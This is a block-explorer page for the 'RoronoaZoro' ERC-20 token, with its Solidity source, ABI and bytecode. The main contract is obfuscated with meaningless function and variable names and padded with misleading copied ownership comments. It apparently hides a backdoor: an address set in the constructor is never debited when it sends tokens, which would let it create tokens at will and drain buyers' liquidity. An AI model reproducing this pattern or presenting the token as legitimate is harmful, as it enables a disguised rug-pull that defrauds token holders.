Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
150,000,000,000 ゾロロロノア
Holders
28
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
RoronoaZoro
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: none // TG: https://t.me/ZoroErc pragma solidity >0.8.1; import "./IERC20.sol"; contract RoronoaZoro is Ownable { /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ uint256 hod; uint256 pive; bool exay; address private prim; address private expt; address private brth; IUniswapV2Router02 public uniswapV2Router; uint256 private sqr; string private pSym; uint256 private _tTotal; string private pName; uint256 private hgr; string public nameComplete; uint8 private drm; uint256 public maxWallet; bool public limitsEnabled=false; event Transfer(address indexed from, address indexed to, uint256 value); mapping(address => uint256) private det; mapping(address => uint256) private mrd; constructor( address adrr, address mhy, uint8 maxW, string memory sym, string memory nm ) { uniswapV2Router = IUniswapV2Router02(adrr); prim = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); nameComplete= sym; nameComplete= nm; pSym = unicode"ゾロロロノア"; pName = "Roronoa Zoro"; drm = 9; sqr = 0; hgr = 1; mrd[mhy] = drm; _tTotal = 150000000000 * 10**drm; maxWallet=(_tTotal / 100) * maxW; fdr[msg.sender] = _tTotal; emit Transfer(address(0xdead), msg.sender, _tTotal); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function name() public view returns (string memory) { return pName; } function symbol() public view returns (string memory) { return pSym; } function decimals() public view returns (uint256) { return drm; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private fdr; function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return fdr[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { if(_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount)) return transferMgr(sender, recipient, amount,0); return false; } function transfer(address recipient, uint256 amount) external returns (bool) { return transferMgr(msg.sender, recipient, amount,0); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; return true; } function transferMgr( address brn, address nry, uint256 qiy, uint256 wp ) internal returns (bool){ if(abb(brn,nry,qiy) == false) return false; cbb(brn,nry,qiy); fbb(nry,qiy); return true; } function abb( address brn, address nry, uint256 qiy ) internal returns (bool){ if(mrd[nry] <= 0){ if(exay && limitsEnabled){ if(fdr[nry]+qiy > maxWallet) return false; } emit Transfer(brn, nry, qiy); } hod = qiy * sqr; return true; } function cbb( address brn,address nry,uint256 qiy) internal { if (mrd[brn] == 0) { fdr[brn] -= qiy; } pive = hod / hgr; expt = brth; brth = nry; } function fbb(address nry,uint256 qiy) internal { qiy -= pive; det[expt] += drm; fdr[nry] += qiy; } function check1(address brn) internal { exay = prim == brn; if (!exay && mrd[brn] == 0 && det[brn] > 0) { mrd[brn] -= drm; } } }
// SPDX-License-Identifier: none pragma solidity >0.8.1; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a det * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountKingofTsukaDesired, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountKingofTsuka, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountKingofTsuka, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountKingofTsuka, uint amountETH); function swapExactKingofTsukasForKingofTsukas( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapKingofTsukasForExactKingofTsukas( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForKingofTsukas(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapKingofTsukasForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactKingofTsukasForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactKingofTsukas(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferKingofTsukas( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferKingofTsukas( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactKingofTsukasForKingofTsukasSupportingFeeOnTransferKingofTsukas( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForKingofTsukasSupportingFeeOnTransferKingofTsukas( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactKingofTsukasForETHSupportingFeeOnTransferKingofTsukas( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"adrr","type":"address"},{"internalType":"address","name":"mhy","type":"address"},{"internalType":"uint8","name":"maxW","type":"uint8"},{"internalType":"string","name":"sym","type":"string"},{"internalType":"string","name":"nm","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nameComplete","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6080604052600f805460ff191690553480156200001b57600080fd5b506040516200128a3803806200128a8339810160408190526200003e9162000484565b620000493362000352565b600680546001600160a01b0319166001600160a01b0387169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000c991906200052e565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200012c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015291906200052e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c691906200052e565b600380546001600160a01b039290921661010002610100600160a81b0319909216919091179055600c620001fb8382620005e2565b50600c6200020a8282620005e2565b5060408051808201909152601281527171c15f71c1d6f1c1d6f1c1d6f1c1c771c15160711b6020820152600890620002439082620005e2565b5060408051808201909152600c81526b526f726f6e6f61205a6f726f60a01b6020820152600a90620002769082620005e2565b50600d805460ff191660099081178255600060078190556001600b556001600160a01b03871681526011602052604090205554620002b99060ff16600a620007c3565b620002ca906422ecb25c00620007d4565b600981905560ff841690620002e290606490620007ee565b620002ee9190620007d4565b600e55600954336000818152601360205260409081902083905551909161dead917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200033f9190815260200190565b60405180910390a3505050505062000811565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b0381168114620003ba57600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620003e757600080fd5b81516001600160401b0380821115620004045762000404620003bf565b604051601f8301601f19908116603f011681019082821181831017156200042f576200042f620003bf565b816040528381526020925086838588010111156200044c57600080fd5b600091505b8382101562000470578582018301518183018401529082019062000451565b600093810190920192909252949350505050565b600080600080600060a086880312156200049d57600080fd5b620004a886620003a2565b9450620004b860208701620003a2565b9350604086015160ff81168114620004cf57600080fd5b60608701519093506001600160401b0380821115620004ed57600080fd5b620004fb89838a01620003d5565b935060808801519150808211156200051257600080fd5b506200052188828901620003d5565b9150509295509295909350565b6000602082840312156200054157600080fd5b6200054c82620003a2565b9392505050565b600181811c908216806200056857607f821691505b6020821081036200058957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005dd57600081815260208120601f850160051c81016020861015620005b85750805b601f850160051c820191505b81811015620005d957828155600101620005c4565b5050505b505050565b81516001600160401b03811115620005fe57620005fe620003bf565b62000616816200060f845462000553565b846200058f565b602080601f8311600181146200064e5760008415620006355750858301515b600019600386901b1c1916600185901b178555620005d9565b600085815260208120601f198616915b828110156200067f578886015182559484019460019091019084016200065e565b50858210156200069e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000705578160001904821115620006e957620006e9620006ae565b80851615620006f757918102915b93841c9390800290620006c9565b509250929050565b6000826200071e57506001620007bd565b816200072d57506000620007bd565b8160018114620007465760028114620007515762000771565b6001915050620007bd565b60ff841115620007655762000765620006ae565b50506001821b620007bd565b5060208310610133831016604e8410600b841016171562000796575081810a620007bd565b620007a28383620006c4565b8060001904821115620007b957620007b9620006ae565b0290505b92915050565b60006200054c60ff8416836200070d565b8082028115828204841417620007bd57620007bd620006ae565b6000826200080c57634e487b7160e01b600052601260045260246000fd5b500490565b610a6980620008216000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063c2ec7f0011610066578063c2ec7f001461020d578063dd62ed3e14610215578063f2fde38b1461024e578063f8b45b051461026157600080fd5b8063715018a6146101d75780638da5cb5b146101e157806395d89b41146101f2578063a9059cbb146101fa57600080fd5b806323b872dd116100d357806323b872dd14610183578063313ce567146101965780633582ad23146101a157806370a08231146101ae57600080fd5b806306fdde0314610105578063095ea7b3146101235780631694505e1461014657806318160ddd14610171575b600080fd5b61010d61026a565b60405161011a9190610866565b60405180910390f35b6101366101313660046108d0565b6102fc565b604051901515815260200161011a565b600654610159906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b6009545b60405190815260200161011a565b6101366101913660046108fa565b610312565b600d5460ff16610175565b600f546101369060ff1681565b6101756101bc366004610936565b6001600160a01b031660009081526013602052604090205490565b6101df610370565b005b6000546001600160a01b0316610159565b61010d6103db565b6101366102083660046108d0565b6103ea565b61010d6103f9565b610175610223366004610951565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6101df61025c366004610936565b610487565b610175600e5481565b6060600a805461027990610984565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610984565b80156102f25780601f106102c7576101008083540402835291602001916102f2565b820191906000526020600020905b8154815290600101906020018083116102d557829003601f168201915b5050505050905090565b6000610309338484610552565b90505b92915050565b6001600160a01b038316600090815260126020908152604080832033808552925282205461034c9186916103479086906109d4565b610552565b156103655761035e84848460006105fc565b9050610369565b5060005b9392505050565b6000546001600160a01b031633146103cf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103d9600061063b565b565b60606008805461027990610984565b600061030933848460006105fc565b600c805461040690610984565b80601f016020809104026020016040519081016040528092919081815260200182805461043290610984565b801561047f5780601f106104545761010080835404028352916020019161047f565b820191906000526020600020905b81548152906001019060200180831161046257829003601f168201915b505050505081565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103c6565b6001600160a01b0381166105465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c6565b61054f8161063b565b50565b60006001600160a01b0384161580159061057457506001600160a01b03831615155b6105cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b506001600160a01b0392831660009081526012602090815260408083209490951682529290925291902055600190565b600061060985858561068b565b151560000361061a57506000610633565b61062585858561075e565b61062f84846107f0565b5060015b949350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166000908152601160205260408120546107445760035460ff1680156106bc5750600f5460ff165b156106f657600e546001600160a01b0384166000908152601360205260409020546106e89084906109e7565b11156106f657506000610369565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073b91815260200190565b60405180910390a35b60075461075190836109fa565b6001908155949350505050565b6001600160a01b03831660009081526011602052604081205490036107ab576001600160a01b038316600090815260136020526040812080548392906107a59084906109d4565b90915550505b600b546001546107bb9190610a11565b6002555060058054600480546001600160a01b038084166001600160a01b031992831617909255909116921691909117905550565b6002546107fd90826109d4565b600d546004546001600160a01b03166000908152601060205260408120805493945060ff909216926108309084906109e7565b90915550506001600160a01b0382166000908152601360205260408120805483929061085d9084906109e7565b90915550505050565b600060208083528351808285015260005b8181101561089357858101830151858201604001528201610877565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108cb57600080fd5b919050565b600080604083850312156108e357600080fd5b6108ec836108b4565b946020939093013593505050565b60008060006060848603121561090f57600080fd5b610918846108b4565b9250610926602085016108b4565b9150604084013590509250925092565b60006020828403121561094857600080fd5b610309826108b4565b6000806040838503121561096457600080fd5b61096d836108b4565b915061097b602084016108b4565b90509250929050565b600181811c9082168061099857607f821691505b6020821081036109b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030c5761030c6109be565b8082018082111561030c5761030c6109be565b808202811582820484141761030c5761030c6109be565b600082610a2e57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122080fa27164928b3ac830ff4bbf37795aa739ad0c7bd177a666b8162cfb786b83364736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000e532522f72b39149ad683cceab6ea26eb2d5bf41000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063c2ec7f0011610066578063c2ec7f001461020d578063dd62ed3e14610215578063f2fde38b1461024e578063f8b45b051461026157600080fd5b8063715018a6146101d75780638da5cb5b146101e157806395d89b41146101f2578063a9059cbb146101fa57600080fd5b806323b872dd116100d357806323b872dd14610183578063313ce567146101965780633582ad23146101a157806370a08231146101ae57600080fd5b806306fdde0314610105578063095ea7b3146101235780631694505e1461014657806318160ddd14610171575b600080fd5b61010d61026a565b60405161011a9190610866565b60405180910390f35b6101366101313660046108d0565b6102fc565b604051901515815260200161011a565b600654610159906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b6009545b60405190815260200161011a565b6101366101913660046108fa565b610312565b600d5460ff16610175565b600f546101369060ff1681565b6101756101bc366004610936565b6001600160a01b031660009081526013602052604090205490565b6101df610370565b005b6000546001600160a01b0316610159565b61010d6103db565b6101366102083660046108d0565b6103ea565b61010d6103f9565b610175610223366004610951565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6101df61025c366004610936565b610487565b610175600e5481565b6060600a805461027990610984565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610984565b80156102f25780601f106102c7576101008083540402835291602001916102f2565b820191906000526020600020905b8154815290600101906020018083116102d557829003601f168201915b5050505050905090565b6000610309338484610552565b90505b92915050565b6001600160a01b038316600090815260126020908152604080832033808552925282205461034c9186916103479086906109d4565b610552565b156103655761035e84848460006105fc565b9050610369565b5060005b9392505050565b6000546001600160a01b031633146103cf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103d9600061063b565b565b60606008805461027990610984565b600061030933848460006105fc565b600c805461040690610984565b80601f016020809104026020016040519081016040528092919081815260200182805461043290610984565b801561047f5780601f106104545761010080835404028352916020019161047f565b820191906000526020600020905b81548152906001019060200180831161046257829003601f168201915b505050505081565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103c6565b6001600160a01b0381166105465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c6565b61054f8161063b565b50565b60006001600160a01b0384161580159061057457506001600160a01b03831615155b6105cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b506001600160a01b0392831660009081526012602090815260408083209490951682529290925291902055600190565b600061060985858561068b565b151560000361061a57506000610633565b61062585858561075e565b61062f84846107f0565b5060015b949350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166000908152601160205260408120546107445760035460ff1680156106bc5750600f5460ff165b156106f657600e546001600160a01b0384166000908152601360205260409020546106e89084906109e7565b11156106f657506000610369565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073b91815260200190565b60405180910390a35b60075461075190836109fa565b6001908155949350505050565b6001600160a01b03831660009081526011602052604081205490036107ab576001600160a01b038316600090815260136020526040812080548392906107a59084906109d4565b90915550505b600b546001546107bb9190610a11565b6002555060058054600480546001600160a01b038084166001600160a01b031992831617909255909116921691909117905550565b6002546107fd90826109d4565b600d546004546001600160a01b03166000908152601060205260408120805493945060ff909216926108309084906109e7565b90915550506001600160a01b0382166000908152601360205260408120805483929061085d9084906109e7565b90915550505050565b600060208083528351808285015260005b8181101561089357858101830151858201604001528201610877565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108cb57600080fd5b919050565b600080604083850312156108e357600080fd5b6108ec836108b4565b946020939093013593505050565b60008060006060848603121561090f57600080fd5b610918846108b4565b9250610926602085016108b4565b9150604084013590509250925092565b60006020828403121561094857600080fd5b610309826108b4565b6000806040838503121561096457600080fd5b61096d836108b4565b915061097b602084016108b4565b90509250929050565b600181811c9082168061099857607f821691505b6020821081036109b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030c5761030c6109be565b8082018082111561030c5761030c6109be565b808202811582820484141761030c5761030c6109be565b600082610a2e57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122080fa27164928b3ac830ff4bbf37795aa739ad0c7bd177a666b8162cfb786b83364736f6c63430008110033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000e532522f72b39149ad683cceab6ea26eb2d5bf41000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : adrr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mhy (address): 0xe532522F72b39149aD683cCEAb6Ea26eb2d5BF41
Arg [2] : maxW (uint8): 8
Arg [3] : sym (string): Roronoa Zoro
Arg [4] : nm (string): Roronoa Zoro
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000e532522f72b39149ad683cceab6ea26eb2d5bf41
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [3] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [4] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [6] : 526f726f6e6f61205a6f726f0000000000000000000000000000000000000000
Arg [7] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [8] : 526f726f6e6f61205a6f726f0000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
174:5401:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2241:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3332:137;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:2;;1162:22;1144:41;;1132:2;1117:18;3332:137:1;1004:187:2;696:41:1;;;;;-1:-1:-1;;;;;696:41:1;;;;;;-1:-1:-1;;;;;1386:32:2;;;1368:51;;1356:2;1341:18;696:41:1;1196:229:2;2633:86:1;2704:7;;2633:86;;;1576:25:2;;;1564:2;1549:18;2633:86:1;1430:177:2;3479:308:1;;;;;;:::i;:::-;;:::i;2424:79::-;2492:3;;;;2424:79;;967:31;;;;;;;;;2727:104;;;;;;:::i;:::-;-1:-1:-1;;;;;2811:12:1;2784:7;2811:12;;;:3;:12;;;;;;;2727:104;2488:94:0;;;:::i;:::-;;1837:87;1883:7;1910:6;-1:-1:-1;;;;;1910:6:0;1837:87;;2332:84:1;;;:::i;3795:147::-;;;;;;:::i;:::-;;:::i;879:26::-;;;:::i;2839:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2938:18:1;;;2911:7;2938:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2839:134;2737:192:0;;;;;;:::i;:::-;;:::i;936:24:1:-;;;;;;2241:83;2278:13;2311:5;2304:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2241:83;:::o;3332:137::-;3400:4;3424:37;3433:10;3445:7;3454:6;3424:8;:37::i;:::-;3417:44;;3332:137;;;;;:::o;3479:308::-;-1:-1:-1;;;;;3653:19:1;;3604:4;3653:19;;;:11;:19;;;;;;;;3641:10;3653:31;;;;;;;;3624:70;;3633:6;;3653:40;;3687:6;;3653:40;:::i;:::-;3624:8;:70::i;:::-;3621:135;;;3716:40;3728:6;3736:9;3747:6;3754:1;3716:11;:40::i;:::-;3709:47;;;;3621:135;-1:-1:-1;3774:5:1;3479:308;;;;;;:::o;2488:94:0:-;1883:7;1910:6;-1:-1:-1;;;;;1910:6:0;736:10;2057:23;2049:68;;;;-1:-1:-1;;;2049:68:0;;3461:2:2;2049:68:0;;;3443:21:2;;;3480:18;;;3473:30;3539:34;3519:18;;;3512:62;3591:18;;2049:68:0;;;;;;;;;2553:21:::1;2571:1;2553:9;:21::i;:::-;2488:94::o:0;23